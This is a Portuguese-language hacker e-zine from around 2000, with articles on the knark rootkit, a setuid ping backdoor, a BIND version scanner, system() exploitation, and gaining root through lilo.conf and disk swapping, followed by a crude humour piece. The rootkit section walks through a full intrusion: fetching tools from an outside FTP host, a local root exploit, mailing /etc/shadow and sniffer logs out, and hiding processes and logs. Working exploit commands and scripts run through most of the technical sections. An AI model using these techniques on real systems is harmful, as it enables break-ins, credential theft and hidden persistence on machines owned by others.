Quando um sniffer esta rodando em um determinado sistema, ele define a
Interface em que ele estara escutando como estando no "modo promiscuo".
Um dos modos dos detectadores de sniffers trabalharem e' vendo se a
interface esta no modo promiscuo. O knark faz com que a interface seja
reconhecida como nao estando como promiscua, mesmo se o sniffer estiver
rodando. ( note que ele nao retira a interface do modo promiscuo, senao
o sniffer nao funcionaria. Ele apenas mascara o resultado IFF_PROMISC
do tipo SIOCGIFFLAGS ).


modhide.o
Outro modulo adicional usado para retirar os modulos
da lista do lsmod ( lembra-se que eu falei sobre a posicao
dos modulos apos ser inseridos com o comando INSMOD ??? ).
A cada vez que voce o inicia, ele vai retirando um modulo do
topo da lista.

ered
Usado para redirecionar executaveis.

hidef
Usado para tornar arquivos invisiveis a comandos como ls etc.
Mesmo apos "hideados", os arquivos podem ser manipulados normalmente
( se e' que mecher com algo invisivel pode ser chamado de normal ) :-))

nethide
Usado para remover os dados existentes no NETSTAT que nada mais
sao do que um modo mais bonitinho de mostrar os arquivos /proc/net/tcp|udp
etc. Nao funcionou na minha maquina ( ou nao usei corretamente ).

rexec
Usado para executar comandos remotamente como root em uma maquina que
esteja rodando o knark.o

rootme
Esse e' legal e funcionou comigo... Ele executa qualquer programa para voce
usando o nivel de root.

taskhack
Ele estava dando erro ao compilar entao eu //comentei alguns #includes.
Se der erro na sua maquina e ele nao gerar o executavel, descomente-os
e tente novamente.
Ele possui uma otima proposta: pode trocar o *UID* de qualquer processo
rodando...
Por exemplo, voce pode trocar o UID do -bash para 0 e funcionar como
root... ( testei e funcionou, fica muito estranho uma shell r00t com $ ...)

.---------------.
| Usando o Knark `-----------------------------------------------.
`=================-=-====--==-=-=-===----==---=-=---=-=--- -- - -

localhost:/home/pchazard# telnet alvo.com.br
Trying alvo.com.br...
Connected to alvo.com.br.
Escape character is '^]'.


alvo.com.br
-----------

Proibido o uso deste servico por qualquer
pessoa nao autorizada bla bla blaa blaaa...

alvo login: joaofg
Password:

Last login: Wed Apr 26 21:33:06 -0300 2000 on ttyp8 from igor.alvo.com.br.
No mail.

My doctor told me to stop having intimate dinners for four. Unless there
are three other people.
-- Orson Welles

alvo:~$ uname -a
RedHat Linux 6.0 localhost 2.2.14 #127 Thu Oct 21 13:13:20 CDT 1999 i686 unknown
alvo:~$ wget -q ftp://200.242.183.16/imwheel.c

alvo:~$ wget -q ftp://200.242.183.16/cloak

alvo:~$ chmod +x cloak
alvo:~$ wget -q ftp://200.242.183.16/knark.o

alvo:~$ wget -q ftp://200.242.183.16/modhide.o

alvo:~$ wget -q ftp://200.242.183.16/ping

alvo:~$ wget -q ftp://200.242.183.16/linsniffer

alvo:~$ wget -q ftp://200.242.183.16/unlastlog

alvo:~$ wget -q ftp://200.242.183.16/hidef

alvo:~$ chmod +x linsniffer
alvo:~$ chmod +x unlastlog
alvo:~$ chmod +xs ping
alvo:~$ chmod +x hidef
alvo:~$ gcc -o imwheelx imwheel.c
alvo:~$ ./imwheelx 1065

...

alvo:~$ ./imwheelx 1085

...

alvo:~$ ./imwheelx 1115

...

bash-2.03# tty
/dev/ttyp3
bash-2.03# pwd
/home/joaofg
bash-2.03# who | grep ttyp3
root ttyp3 Oct 21 13:20 (200.242.183.16)
bash-2.03# ./cloak cloakme
You are now cloaked
bash-2.03# mv knark.o /lib/modules/2.2.14/misc
bash-2.03# who | grep ttyp3
bash-2.03# mail pchazard@200.242.183.16 < /etc/shadow
bash-2.03# mv ping /bin/ping
bash-2.03# linsniffer&
[1] 2413
bash-2.03# insmod /lib/modules/2.2.14/misc/knark.o
bash-2.03# insmod modhide.o
modhide.o: init_module: Device or resource busy
bash-2.03# ps aux | grep 2413
root 2413 32.0 9.8 1756 1028 ttyp3 S 01:35 0:00 /home/joaofg/linsniffer
root 2414 0.0 1.3 1124 404 ttyp3 S 01:54 0:00 grep 2413
bash-2.03# kill -31 2413
bash-2.03# ./hidef linsniffer
bash-2.03# ./hidef tcp.log
bash-2.03# ./hidef cloak
bash-2.03# ./hidef /proc/knark
bash-2.03# ps aux | grep 2413
root 2415 0.0 1.3 1124 404 ttyp3 S 01:54 0:00 grep 2413
bash-2.03# ./hidef ./unlastlog
bash-2.03# rm imwheel.c
bash-2.03# rm imwheel
bash-2.03# rm knark.o
bash-2.03# rm modhide.o
bash-2.03# rm hidef
bash-2.03# exit
logout
Connection closed by foreign host.
localhost:/home/pchazard# cd knark-0.59
localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br
/home/joaofg/unlastlog joaofg /home/joaofg/.bash_history 18

rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>

Done. exec "/home/joaofg/unlastlog joaofg /home/joaofg/.bash_history 18"
requested on alvo.com.br from 127.0.0.1
localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br
/home/joaofg/unlastlog - /root/.bash_history 24

rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>

Done. exec "/home/joaofg/unlastlog - /root/.bash_history 24" requested on
alvo.com.br from 127.0.0.1
localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br
/bin/rm /home/joaofg/unlastlog

rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>

Done. exec "/bin/rm /home/joaofg/unlastlog" requested on alvo.com.br from
127.0.0.1
localhost:/home/pchazard/knark-0.59#
localhost:/home/pchazard/knark-0.59#
localhost:/home/pchazard/knark-0.59#
localhost:/home/pchazard/knark-0.59#
You have mail in /var/spool/mail/pchazard
localhost:/home/pchazard/knark-0.59#


* * * De tempos em tempos * * *


localhost:/home/pchazard/knark-0.59# ./rexec 127.0.0.1 alvo.com.br
/bin/mail pchazard@ig.com.br < /home/joaofg/tcp.log

rexec.c by Creed @ #hack.se 1999 <creed@sekure.net>

Done. exec "/bin/mail pchazard@ig.com.br < /home/joaofg/tcp.log" requested
on alvo.com.br from 127.0.0.1


"There is no power without knowledge"
Alguem

"O Linux e' um sistema operacional amigavel,
o fato e' que ele escolhe melhor seus amigos"

Outro alguem


Copyleft (cl) 14 Jun 2000 12:45:12 by PCHazard - pchazard@ig.com.br










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 08 - PING backd00r ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ pcHazard _dXXXXP~
~YXXXbx.. ..xdXXXP~



well... vc ja' viu um daqueles sistemas que estao tao mechidos, baguncados
e desatualizados que parece que o sysadmin entrou em coma e nao tem ninguem
pra tomar o lugar dele ? Tipo aqueles com sendmail 8.8.2, kernel 2.0.33 etc.
pois e'... agora, todos conhecem aquele programinha "ping" que a gente usa
pra ver se um host existe etc. pois e', acontece que ele e' por padrao
suidroot :-) bem, num sistema desses e' bem capaz que o buffer overflow pro
ping antigo funcione, mas me refiro aqui a uma backdoor, que depois que vc
pegar root no lugar vc instala ele no lugar do ping (pacote netkit-base) e
pronto. Vamos exemplificar:

alvo.com.br:

bash-2.03# wget -q ftp://200.241.235.26/ping

bash-2.03# chmod +xs ping
bash-2.03# mv ping /bin/ping
bash-2.03# ping
usage: ping [-LRdfnqrv] [-c count] [-i wait] [-l preload]
[-p pattern] [-s packetsize] [-t ttl] [-I interface address] host
bash-2.03# exit

E pronto. O ping backdoor ja' esta' instalado.

Para utilizar:

alvo:~$ ping
usage: ping [-LRdfnqrv] [-c count] [-i wait] [-l preload]
[-p pattern] [-s packetsize] [-t ttl] [-I interface address] host
alvo:~$ ping -b

Enter option:not4you

Argument: bash
bash-2.03#

E pronto. Os fontes modificados do ping acompanham este zine (pingback.tar.gz)
Pra quem nao percebeu, esse not4you e' uma senha definida no ping.c
que pode ser alterada. O Ping backdoor nao executara os parametros do comando
dado, logo, execute somente o nome do programa como /bin/bash, ou se nao
desejar rodar a shell, crie um script com as coisas que devem ser executadas
e faca o ping backdoor executa'-lo.


Talvez issue que vem tem mais backd00r pro povo...



"Em Deus nos acreditamos. Para os outros, exigimos um certificado X.25"
Alguem assinante da BugTraq


Copyleft (cl) 14 Jun 2000 12:45:12 by PCHazard - pchazard@ig.com.br











_xXXXP^'' ``^YXXXx_
_xXXXXP~ 09 - Bind Scan ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


Alguns dos bugs mais exploitados nos ultimos dias foram os de named.
Por issu decidi fazer um programa que scaneie a versao dos binds. O bind
scan v1.1 criado por mim tinha o problema de que usava o dig para
verificar a versao do bind remoto.
A versao atualizada, publicada aki, conecta-se ao named e pega o
version.bind dele, sem necessidade de nenhum outro programa. Alem dissu,
verifica se a versao eh vulneravel aos bugs mais conhecidos.
O bind scan v2.1 scaneia uma lista de ips que pode ser feita com o
bind host scan. O bhs apenas tenta conectar ao ip (X.X.X.1 a X.X.X.255)
pela porta 53(NAMESERVER_PORT) e coloca o resultado no arquivo "hosts".
Vamos a um exemplo de como usa-los, depois os sources...

~# gcc bhs.c -o bhs
~# ./bhs 127.0.0
-=-= Binds hosts scanner by Cheat Struck =-=-
Result in filename : hosts
127.0.0.1
~# gcc bscan21.c -o bscan
~# ./bscan hosts
Bind Scan v2.1 - by Cheat Struck <cszine@xoommail.com>
_START_
127.0.0.1 - 8.1.2 is not vul.
_END_
~#

<++> bindscan/bhs.c 
/* Bind Host Scanner v1.0 by Cheat Struck <cszine@xoommail.com>
*
* Scaneia ips X.X.X.[1 a 255] que estejam rodando named.
*
* Modo de uso:
* gcc bhs.c -o bhs
* ./bhs <X.X.X>
*
* Exemplo:
* ./bhs 200.24.131
*
*/


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

main( int argc, char *argv[] ) {

int s0ck, i=0;
struct sockaddr_in addr;
char ip[16];
char *duh;
FILE *fp;

printf(" -=-= Binds hosts scanner by Cheat Struck =-=-\n");
if( argc < 2 ) {
printf("Use: %s <X.X.X>\n",argv[0]);
exit(1);
}
printf(" Result in filename : hosts \n");

duh = argv[1];
fp = fopen("hosts", "a");


while (i < 255) {

i++;
sprintf(ip, "%s.%d\n", duh,i);

s0ck = socket(AF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(53);
addr.sin_addr.s_addr = inet_addr(ip);
bzero(&(addr.sin_zero), 8);

if( connect( s0ck, (struct sockaddr *)&addr, sizeof(addr) ) >= 0) {
fprintf(fp, "%s",ip);
printf("%s FIND!",ip);
}
close(s0ck);

}


fclose(fp);

}
<-->
<++> bindscan/bscan21.c
/* Bind Scan v2.1
* by Cheat Struck <cszine@xoommail.com>
*
* Scan a ip list and show the BIND version and bugs.
*
* usage: ./bindscan <ip_list>
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/nameser.h>


int make_keypkt(char *pktbuf);
void print_ver(int vul, char *buf);

int main(int argc, char *argv[]) {
struct sockaddr_in ra;
int sd, pktlen;
char iquery[512], vquery[512], ip[16];
HEADER *dh = (HEADER *)iquery;
FILE *fp;


printf("Bind Scan v2.1 - by Cheat Struck <cszine@xoommail.com>\n");
if(argc != 2) {
printf("usage: %s <ip_list>\n", argv[0]);
exit(0);
}

// OPEN FILE...
if((fp = fopen(argv[1],"r")) == 0) {
printf("Where is this file???\n");
exit(0);
}


// START THE L00PING...
printf("_START_\n");
while( !feof(fp) ) {
bzero((char *)&ip, sizeof(ip));
if(fgets(ip, 16, fp) == NULL) break;
ip[strlen(ip)-1] = 0x00;
printf("%s - ",ip);


// LET'Z CONNECT....
ra.sin_family = AF_INET;
ra.sin_port = htons(NAMESERVER_PORT);
ra.sin_addr.s_addr = inet_addr(ip);
if (((sd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) ||
(connect(sd, (struct sockaddr *)&ra, sizeof(ra)) == -1)) {
if (sd != -1) close(sd);
}


//SEND A QUERY AND GET THE VERSION...
memset(vquery, 0, sizeof(vquery));
pktlen = make_keypkt(vquery);
if (!write(sd, vquery, pktlen)) {
close(sd);
}
pktlen = read(sd, vquery, sizeof(vquery));
close(sd);


//NOW PRINT THE VERSION...
print_ver(dh->rcode == 0, vquery);

}
fclose(fp);
printf("_END_\n");

}


int
make_keypkt(pktbuf)
char *pktbuf;
{
HEADER *dnsh;
char *ptr = pktbuf;
int pktlen = 0;
char qstr[] = "\007version\004bind\000";
int qlen = strlen(qstr) + 1;

dnsh = (HEADER *) ptr;

dnsh->qdcount = htons(1);
pktlen += sizeof(HEADER);
ptr += sizeof(HEADER);

memcpy(ptr, qstr, qlen);
ptr += qlen;
pktlen += qlen;
PUTSHORT(T_TXT, ptr);
PUTSHORT(C_CHAOS, ptr);
pktlen += sizeof(short) * 2;

return pktlen;
}


void
print_ver(vul, buf)
char *buf;
int vul;
{
HEADER *dnsh = (HEADER *)buf;
char *ptr;

if (dnsh->rcode != 0) {
return;
}

ptr = (buf + sizeof(HEADER));
while (*ptr != '\0')
ptr++;
ptr += 1 + (sizeof(short) * 2);
while (*ptr != '\0')
ptr++;
ptr += 1 + (sizeof(long) + (sizeof(short) * 2));
// GETSHORT(len, ptr);

if(!strcmp(&ptr[3],"")) printf("can't get a version.\n");
else

if((!strncmp(&ptr[3],"8.2",strlen(&ptr[3]))) ||
(!strncmp(&ptr[3],"8.2.1",strlen(&ptr[3])))) {
printf("%s is NXT remote overflow VULNERABLE\n",&ptr[3]);
return;
} else

if((!strncmp(&ptr[3],"4.9.5-REL",strlen(&ptr[3]))) ||
(!strncmp(&ptr[3],"4.9.5-P1",strlen(&ptr[3]))) ||
(!strncmp(&ptr[3],"4.9.6-REL",strlen(&ptr[3]))) ||
(!strncmp(&ptr[3],"8.1-REL",strlen(&ptr[3]))) ||
(!strncmp(&ptr[3],"8.1.1",strlen(&ptr[3])))) {
printf("%s is IQUERY remote overflow VULNERABLE\n",&ptr[3]);
return;
} else {
printf("%s is not vul.\n",&ptr[3]);
return;
}

}
<-->




_xXXXP^'' ``^YXXXx_
_xXXXXP~ 10 - System Bugs ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~


Expliquei essa t3kn33k na edicao 00 da f3 mas achu q nao recebeu a
atencao necessaria portanto estou disposto a revisar este bug e ainda
explicarei outros metodos de xploita-lo.

Ah!!! Li recentemente o manual de programacao basica escrito por nash
leon e nele aparece a explicacao sobre o Xploiting deste bug. Mesmo nao
sendo grande coisa, estas sao algumas falhas de seguranca que eu descobri
sozinho e nao me basiei em nenhum outro texto para a conclusao deste.


Ok...
Tipu... O primeiro bug q eu achei foi testando uns programas (c) ME
que utilizavam system() para executar comandos na shell e tornando o
programa mais simples.
Exemplo:

Ao invez de usar:


fd=fopen("./duh","w");
fprintf(fd,"Hellow World\n");
fclose(fp);


usei:


system("echo Hellow World >> ./duh");


E assim a fonte do programa tornava-se menor e mais compreensivel para
coders iniciantes.
Dae percebi q havia como xploitar tal programa mesmo nao podendo
interagir neste comando por strings externas, tipo:


sprintf(cmd,"echo %s >> ./duh", argv[1]);
system(cmd);


Note que no exemplo acima executamos o comando utilizando uma string
externa (argv[1]) como argumento. Mas voltando ao exemplo anterior, onde
nao ah nenhuma intervencao em strings...
Ah um outro metodo de intervir na funcao system() sem precisarmos
diretamente enviarmos uma string para ele.
O caso eh que assim como numa shell, qdo voce executa um comando no
system() sem o path completo dele, o caminho do programa eh procurado
na environment $PATH. Sendo assim podemos alterar o $PATH para um
diretorio q tenhamos permissao e assim fazer com que o system() execute
o comando que quizermos apenas renomeando-o.
Vamos a um exemplo...


<++> systembug/vul1.c
main() {
system("ls");
}
<-->


~# gcc vul1.c -ovul
~# chmod +s vul


Agora para xploita-lo...

~$ pwd
/tmp
~$ cp /bin/sh ./ls
~$ PATH1=$PATH
~$ PATH=./
~$ /f3/systembug/vul
~# id
uid=1337 (struck) gid=1337 (struck) euid=0 (root) egid=0 (root)
~# PATH=$PATH1
~#



Basicamente esta eh a t3kn33k usada. Mas ha casos especificos que
podemos usar meios diferentes para xploitar o system().
O meio mais simples seria interagindo com strings externas usadas como
argumentos no system(). Vejamos o 2o exemplo:

<++> systembug/vul2.c
main(int argc, char *argv[]) {
char *cmd;
sprintf(cmd,"/bin/ls %s",argv[1]);
system(cmd);
}
<-->

~# gcc vul2.c -o vul2
~# chmod +s vul2


Para exploita-lo:


~$ /f3/systembug/vul2 ";/bin/sh"
~#


O resultado da string cmd seria "/bin/ls ;/bin/sh". Ou seja podemos
executar de maneira muito banal uma shell qdo temos intervencao de strings
externas na funcao system().

Outro caso pode ser qdo o programa a ser executado pelo system() esta
no mesmo diretorio do proprio programa (q possui o system()). Vamos ver
outro exemplo:


<++> systembug/vul3.c
main(){
system("./vul2 -la");
}
<-->


~# gcc vul3.c -o vul3
~# chmod +s vul3


Xploitando....


~$ pwd
/tmp
~$ cp /bin/sh ./vul2
~$ PATH=./
~$ /f3/systembug/vul3
~#


AWS!!!
Agora vamos ao 4o metodo e desta vez utilizando um programa de BSD
que possui esta falha.
O caso eh o seguinte... O programa procura por strings num arquivo e
as inclui no comando a ser executado pelo system(). Vou colar algumas
linhas originais do programa q demonstram a falha...


cardctl.c:


case 's':
stabfile = strdup(optarg); break;
...
f = fopen(stabfile, "r");
if (f == NULL)
return -1;
for (nstab = 0; fgets(s, 132, f); ) {
if (s[0] != 'S') {
sscanf(s, "%*d\t%s\t%*s\t%*d\t%s",
stab[nstab].class, stab[nstab].dev);
stab[nstab].status = 0;
nstab++;
}
}
fclose(f);
...
stab[i].status = execute(stab+i, "cksum", new);
...
sprintf(cmd, "./%s %s %s", s->class, action, s->dev);
ret = system(cmd);



Como podem ver ele busca tb o nome do programa a ser executado e a
unica limitacao dele eh q tem que estar no mesmo dir (./).
Vamos xploita-lo...


<++> systembug/cardctl-ex.sh
#!/bin/sh

mkdir /tmp/card
echo "215 ../../bin/sh; none 2133 device" >> /tmp/card/stab
cd /tmp/card
/sbin/cardctl -s /tmp/card/stab scheme dido
<-->


~$ chmod +x cardctl-ex.sh
~$ ./cardctl-ex.sh
checking: device~#
~#



Voalah!!! Vimos que este bug nao eh tao troxa qto parece. Fixa-lo eh
a coisa mais banal q existe... Eh soh dar corda no cerebro e comecar a
pensar um pouco (pra variar) q chegaremos a estas conclusoes:

Caso nao haja a necessidade do comando ser executado como root, utilise:

setuid(getuid());
system(cmd);

Porem c for preciso do uid 0 para o comando entao tente fazer com que
o system() nao receba strings externas...
Mas c ainda precisar utilizar strings externas coloque limitadores para
a string proibindo ";", "|", etc...

Mesmo assim, o melhor meio para nao correr risco com tal falha eh
mesmo nao utilizando o system() e optando por uma funcao mais segura
para executar comandos.












_xXXXP^'' ``^YXXXx_
_xXXXXP~ 11 - vulnerabilidade ~YXXXXx_
_xXXXXXX( do lilo.conf )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ kamikase shell _dXXXXP~
~YXXXbx.. ..xdXXXP~


Esta matÈria ser· mais util a universit·rios ( pq? ), primeiro pq
precisaremos ter acesso fisico a m·quina; e segundo pq uma universidade que se
preze tem uma m·quina, ou melhor uma rede com linux, e como nem todo mundo usa
linux eles tb tem o windows e se o progama que gerencia o boot for lilo nÛs
poderemos rootea-lo. Ent„o vamos ao que interessa.
Todo mundo j· deve conhecer aquela velha entrada no prompt do lilo:


LILO: linux single


… isto mesmo, vc vai conseguir um shell de root:


#bash:


porem isto sÛ vai acontecer se o root for muito burro! Tudo bem!
Como eles n„o s„o t„o idiotas assim eles acrescentam estas linhas no
arquivo/etc/lilo.conf:


password=algum_password
restricted


depois digitam "lilo" no shell para salvar a alteraÁ„o.


[root@localhost /]# lilo
linux*
dos(ecah)
[root@localhost /]#


E o que isto faz? Simples, se vc der alguma entrada a mais no prompt do lilo
como :
"linux single" ou "linux panic=10" ele te pedir· a senha que t· no
lilo.conf. O lilo.conf vem com permiss„o de leitura para qualquer usu·rio e se
o root for lerdo o suficiente para n„o conferir a permiss„o dele:


[root@localhost /etc]# ls -la lilo.conf
-rw-r--r-- 1 root root 208 Jul 6 14:37 lilo.conf
[root@localhost /etc]#


nao vai perceber que ele d· permiss„o de leitura para qualquer usu·rio! nÛs
sabemos que a senha n„o fica encriptada, ent„o se vc ainda n„o sabe o q fazer,
vamos! t· na hora de perder a virgindade cerebral, basta entrar com:


[usu·rio@localhost usuario]$ cat /etc/lilo.conf
boot=/dev/hda
map=/boot/map
install=boot/boot.b
prompt
timeout=50
password=algum_password
restricted
...
...
...
[usu·rio@localhost usu·rio]$


descobrir a senha e resetar a m·quina (pois vc tem tem acesso fÌsico a ela,
lembra! ).
No prompt do lilo basta entrar com:


LILO: linux single


esperar por


#bash:


e pronto, vc tem a forÁa hehehe!!

kamikaseshell@bahia.net










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 12 - hardroot ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ kamikase shell _dXXXXP~
~YXXXbx.. ..xdXXXP~


certo dia eu tava meio away na minha maquina quando veio aquela ideia
que parecia brilhante: " pq nao copiar o /bin/sh com setiud ativado para um
disquete para usa-lo em outra outras maquinas, como eu o usaria em outras
maquinas? copiava o sh do disquete para meu diretorio /home/minhaconta e
rooteava a maquina!!!"

Mas como eu disse a ideia apenas parecia brilhante, hehehe! Copiar o
sh da minha maquina para o disquete era moleza:


[root@localhost bin]# cp sh /mnt/floppy
[root@localhos bin]# ls -l /mnt/floppy
total 365
-rwxr-xr-x 1 root root 373432 Jul 13 17:44 sh


mas o problema tava ativar o bit setuid:


[root@localhost bin]# chmod 4766 /mnt/floppy/sh
chmod: /mnt/floppy/sh: Operacao nao permitida


Bem, como nao consegui ativar o bit setuid no disquete pensei em copiar
o /bin/sh ja com o bit ativado: Copiei o /bin/sh para um diretorio qualquer,
ativei o bit setuid e tentei copia-lo para o disquete:


[root@localhost /]# cp /bin/sh /root
[root@localhost /]# chmod 4766 /root/sh
[root@localhost /]# ls -l /root/sh
-rwsrw-rw- 1 root root 373432 Jul 13 17:52 sh
-------(blz)
[root@localhost /]# cp /root/sh /mnt/floppy
cp: preservando permissoes para /mnt/floppy/sh: Operacao nao permitida


Ai' eh que tah a merda! naum dava para manter as permissoes. Muita
gente ja deve ter tentado fazer isto. Pois entaum tentei descobrir uma outra
maneira para rootea alguma maquina, e naum È que consegui! De repente me
liguei que se eu colocar meu HD em uma outra maquina, posso da BOOT com meu
linux, logar comoroot, montar a particao contendo o linux do HD do kra e fazer
tudo que eu quizerla', pois eu logei como root, lembra!
Vamos por partes:
* Instale os dois HDs: o seu como MASTER e o do kra como SLAVE;
* Ligue a maquina, detecte os HDs na BIOS;
* Carregue seu linux, loge-se como root, pois o sistema e' o que esta
no seu HD (duh!);
* Monte a particao do kra, por exemplo: mount -t ext2 /dev/hdbX /linux;
* FaÁa o que quiser, voce e' root la' tb.

DICA: para naum demorar muito com os 2 HDs ligados, acrescente uma
conta de root la' (na particao do kra ), desmonte tudo, ligue o HD dele como
tava antes, e acesse o linux dele agora como root!
Nao sei se vc tera' oportunidade de usar isto, mas, se tiver naum vacile
E' isso ai'... te' a proxima...


kamikaseshell@bahia.net










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 13 - PEQUENO MANUAL PARA ~YXXXXx_
_xXXXXXX( OS HOMENS NA BALADA )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Humortadela _dXXXXP~
~YXXXbx.. ..xdXXXP~


Este manual foi tirado do site www.humortadela.com.br e publiquei aki
1o por ser hilario; 2o pra fazer propaganda desse site q eh mto rlz; e
3o pq a maioria q le esta zine eh homem e vao curtir o txt.
Se vc for mulher ou indefinido e nao gostou deste texto nao venha
reclamar comigo pois nao fui eu quem o escreveu.

------------------------


PEQUENO MANUAL PARA OS HOMENS NA BALADA

Este manual mostra o resultado de uma pesquisa realizada entre mulheres
sobre o que um homem deve ou n„o fazer em uma balada, quando quer conhecer
uma garota.


1. A APROXIMA«√O

1.1 Jamais interrompa a garota, caso esteja numa conversa efusiva com as
amigas. NÛs gostamos de falar. Uma mulher nunca deixar· de falar
com uma amiga para ouvir um estranho.
Nem para ouvir um conhecido, nem para ouvir a m„e, nem o pai, nem os
filhos...

1.2 N„o chegue balanÁando seu copo de uÌsque com energÈtico em movimentos
circulares. … sabido entre mulheres que homens assim s„o muito malas.
E se chegar balanÁando uma jeba de vinte e trÍs centÌmetros ou um cart„o
de crÈdito?

1.3 EsqueÁa frases de senso comum, tais como "vocÍ È a garota mais linda
daqui"
, "o que alguÈm como vocÍ faz sozinha?" etc. Pode acreditar:
nÛs, mulheres, somos pr·ticas e percebemos o quanto um homem È
inseguro com essas frasezinhas de efeito.
E falar "VocÍ era a garota mais linda daqui, atÈ te ver de perto", denota
mais seguranÁa? Por favor, me responde logo, estou me sentindo meio inseguro...

1.4 Feche a camisa! N„o gostamos de ver os pelinhos do peito pulando
para fora...
Olha, eu j· vi pÍlo e cabelo caindo, agora pulando, eu nunca vi...




2. A CONVERSA

2.1 N„o perdoamos se um homem n„o nos pergunta o nome. AtÈ cachorro tem
nome. AlÈm disso, queremos perguntar "e vocÍ, como se chama?" para
colocarmos seu nome em nossas listas.
… verdade, se cachorro tem nome, È lÛgico que cachorra tambÈm tenha.
Acontece que nÛs tambÈm somos muito pr·ticos e sÛ perguntamos o nome se
estamos interessados mesmo, para n„o guardar dados in˙teis.

2.2 Mostre-se interessado. Odiamos homens para quem falamos "maÁ„,
banana..."
enquanto explicamos o que fazemos da vida, sÛ para ver se
eles est„o prestando atenÁ„o e, na maior cara-de-pau, ele concorda
com a cabeÁa e olha para vocÍ admirado.
Mas a gente presta mesmo atenÁ„o! SÛ que, como vira e mexe vocÍs falam
de comida, e dado que a conversa de vocÍs n„o tem muito nexo, achamos
uma fala como "maÁ„, banana" bastante lÛgica e dentro do contexto!

2.3 Jamais tente beijar uma mulher quando ela est· falando. Ela ficar·
puta da vida. A verdade È que nÛs gostamos mesmo de falar.
… verdade, n„o È por acaso que alguns homens apelidam o prÛprio pÍnis
de "microfone" ou, os mais exibidos, de "megafone".

2.4 Esconda seus tiques. FaÁa um esforÁo descomunal, mas esconda seus
tiques.
E como faÁo para esconder meu tique, que È uma ereÁ„o constante?

2.5 Esconda seu bafo. FaÁa qualquer coisa para acabar com ele, mas n„o
pense que n„o perceberemos se n„o tomar uma atitude.
Vale esconder o bafo atr·s de um peido asfixiante?

2.6 Esteja certo de que seu desodorante est· dentro do prazo de validade.
E o que eu faÁo se estiver vencido? Reclamo no PROCON?

2.7 N„o fique passando a m„o no prÛprio peito. NÛs temos que te achar
gostoso, e n„o vocÍ.
O gesto instintivo de passar a m„o no peito n„o quer dizer que nÛs nos
achamos gostosos. Apenas o utilizamos quando estamos com uma mulher
pouco interessante, para induzÌ-la a pensar que somos convencidos e a
desistir logo da gente, sem mago·-la e sem ter que aturar mais tarde
insuport·veis choradeiras e ameaÁas de suicÌdio.

2.8 N„o cuspa enquanto fala. Se nÛs cuspirmos, ache lindo.
Ok, prometo n„o cuspir. E, se vocÍ cuspir, vou achar o m·ximo, sobretudo
se cuspir na cabeÁa do meu pau!



3. O BEIJO

3.1 VocÍ quer conhecer a mulher a fundo, mas enfiando sua lÌngua na
goela da coitada sÛ vai obrig·-la a revelar o que jantou.
O duro dessa revelaÁ„o È constatar que o creme de leite usado no molho
tem gosto de esperma.

3.2 Nossa boca N√O È um parque de divers„o e sua lÌngua N√O È uma roda
gigante. Sem movimentos simetricamente circulares. … o c˙mulo do
anti-sexy.
Nunca ouvimos falar em movimentos simetricamente circulares, mas tudo
bem. E que tal um movimento de vai-e-vem e n„o com a roda gigante da
lÌngua mas com o trenzinho do pau?

3.3 N„o puxe nossos cabelos para tr·s. VocÍ n„o È o Piteco, entenda...
N„o estamos nas cavernas! O m·ximo que vai conseguir È irritaÁ„o por
estragar o nosso penteado.
Tudo bem, se vocÍ quiser, a gente puxa sÛ pra frente. E n„o se preocupe
pelo penteado, se o resto valer a pena, a gente paga outro; pelo menos,
o creme de enx·g¸e a gente fornece de graÁa.

3.4 Nunca meta a lÌngua com tudo no tÌmpano da menina e depois sugue.
Primeiro, porque ela pode usar aparelho auditivo e tal gesto a
deixaria realmente chateada. Segundo, porque vocÍ est· metendo a
